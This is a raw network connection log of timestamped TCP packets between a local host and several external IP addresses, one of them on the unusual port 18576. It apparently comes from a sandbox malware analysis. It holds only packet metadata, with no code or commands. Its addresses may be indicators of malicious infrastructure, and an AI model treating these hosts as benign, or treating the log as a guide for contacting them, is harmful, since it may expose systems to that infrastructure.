Jul 27, 2024 13:30:05.164266109 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164279938 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164299011 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164330959 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164346933 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164366007 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164397955 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164412975 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164729118 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164777994 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164778948 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164829969 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164861917 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164879084 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164894104 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164926052 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164941072 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.164959908 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.164992094 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165005922 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165025949 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165056944 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165071964 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165091038 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165142059 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165425062 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165457964 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165489912 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165505886 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165523052 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165569067 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165572882 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165622950 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165654898 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165671110 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165687084 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165719986 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165734053 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165752888 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165786028 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165798903 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165819883 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165865898 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.165954113 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.165986061 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.166019917 CEST	80	49731	192.3.176.154	192.168.2.4
Jul 27, 2024 13:30:05.166030884 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.213783026 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.260587931 CEST	49731	80	192.168.2.4	192.3.176.154
Jul 27, 2024 13:30:05.260874987 CEST	49730	80	192.168.2.4	198.46.176.133
Jul 27, 2024 13:30:05.411581993 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:05.440905094 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:05.440992117 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:05.446563959 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:05.470295906 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:06.090909958 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:06.136562109 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:06.223984957 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:06.228523970 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:06.236562967 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:06.236676931 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:06.245167971 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:06.974442959 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:06.976262093 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:06.981501102 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.090045929 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.092869043 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.098536015 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.098624945 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.101592064 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.106637001 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.135668993 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.148113966 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:30:07.153172016 CEST	80	49734	178.237.33.50	192.168.2.4
Jul 27, 2024 13:30:07.153244972 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:30:07.153363943 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:30:07.158534050 CEST	80	49734	178.237.33.50	192.168.2.4
Jul 27, 2024 13:30:07.614732981 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.666924953 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.745902061 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.750155926 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.755358934 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.755425930 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.760845900 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.815247059 CEST	80	49734	178.237.33.50	192.168.2.4
Jul 27, 2024 13:30:07.815303087 CEST	49734	80	192.168.2.4	178.237.33.50
Jul 27, 2024 13:30:07.823884964 CEST	49732	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.830482960 CEST	18576	49732	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950237036 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950409889 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950426102 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950450897 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950464964 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950476885 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.950483084 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950498104 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950537920 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.950551033 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.950943947 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950958967 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950973988 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950989962 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.950989962 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.951020956 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.951040983 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:07.951082945 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:07.955280066 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.010658026 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.040816069 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.040846109 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.040862083 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.040903091 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.040949106 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.040991068 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.041028023 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041044950 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041083097 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.041111946 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041126966 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041168928 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.041835070 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041858912 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041873932 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.041898012 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.042002916 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042017937 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042042971 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.042623043 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042659998 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042661905 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.042675972 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042711973 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.042798042 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042814016 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.042850018 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.043461084 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.043523073 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.043536901 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.043559074 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.043644905 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.043659925 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.043684959 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.084477901 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.084523916 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.084541082 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.084542036 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.084577084 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.139465094 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139496088 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139512062 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139527082 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139539957 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.139543056 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139558077 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139575005 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139580965 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.139595032 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.139725924 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139750957 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139760971 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.139766932 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139806986 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.139945030 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139961004 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139976025 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.139991045 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140002966 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.140026093 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.140162945 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140177965 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140216112 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.140532970 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140588999 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140608072 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140624046 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.140750885 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140767097 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140784979 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140788078 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.140799999 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.140820026 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.140938997 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141515970 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141542912 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.141648054 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141663074 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141681910 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.141742945 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141757965 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141772985 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141774893 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.141791105 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141804934 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.141947985 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.141985893 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.142649889 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142666101 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142680883 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142707109 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.142740965 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142755032 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142770052 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142776012 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.142786026 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.142800093 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.143002033 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.143042088 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.143605947 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.143621922 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.143639088 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.143654108 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.143663883 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.143690109 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.178638935 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.178678989 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.178694010 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.178720951 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.178745985 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.178783894 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.178869963 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.178883076 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.178920984 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.228712082 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.228738070 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.228756905 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.228782892 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.228939056 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.228961945 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.228972912 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.228977919 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.228993893 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229013920 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229159117 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229172945 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229188919 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229192019 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229203939 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229218960 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229231119 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229233027 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229249001 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229252100 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229263067 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229279995 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229283094 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229317904 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229588985 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229602098 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229644060 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229692936 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229774952 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229789972 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229813099 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.229832888 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229847908 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.229866028 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.230185032 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230199099 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230215073 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230216980 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.230245113 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.230246067 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230295897 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230309963 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230326891 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.230885983 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230921984 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.230950117 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.230963945 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231000900 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231157064 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231172085 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231185913 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231200933 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231209040 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231218100 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231225967 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231457949 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231472969 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231487036 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231494904 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231508017 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231523037 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231528044 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231539011 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231553078 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231554031 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231568098 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231584072 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231851101 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231884956 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.231916904 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231931925 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.231970072 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.232053041 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.232068062 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.232081890 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.232105970 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269150019 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269190073 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269205093 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269232988 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269253969 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269330978 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269346952 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269364119 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269380093 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269380093 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269417048 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269484043 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269543886 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269556046 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269575119 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269622087 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269634008 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269648075 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269654989 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.269665003 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.269682884 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.318948030 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.318988085 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319001913 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319101095 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319107056 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319107056 CEST	49733	18576	192.168.2.4	192.3.101.142
Jul 27, 2024 13:30:08.319116116 CEST	18576	49733	192.3.101.142	192.168.2.4
Jul 27, 2024 13:30:08.319130898 CEST	18576	49733	192.3.101.142	192.168.2.4
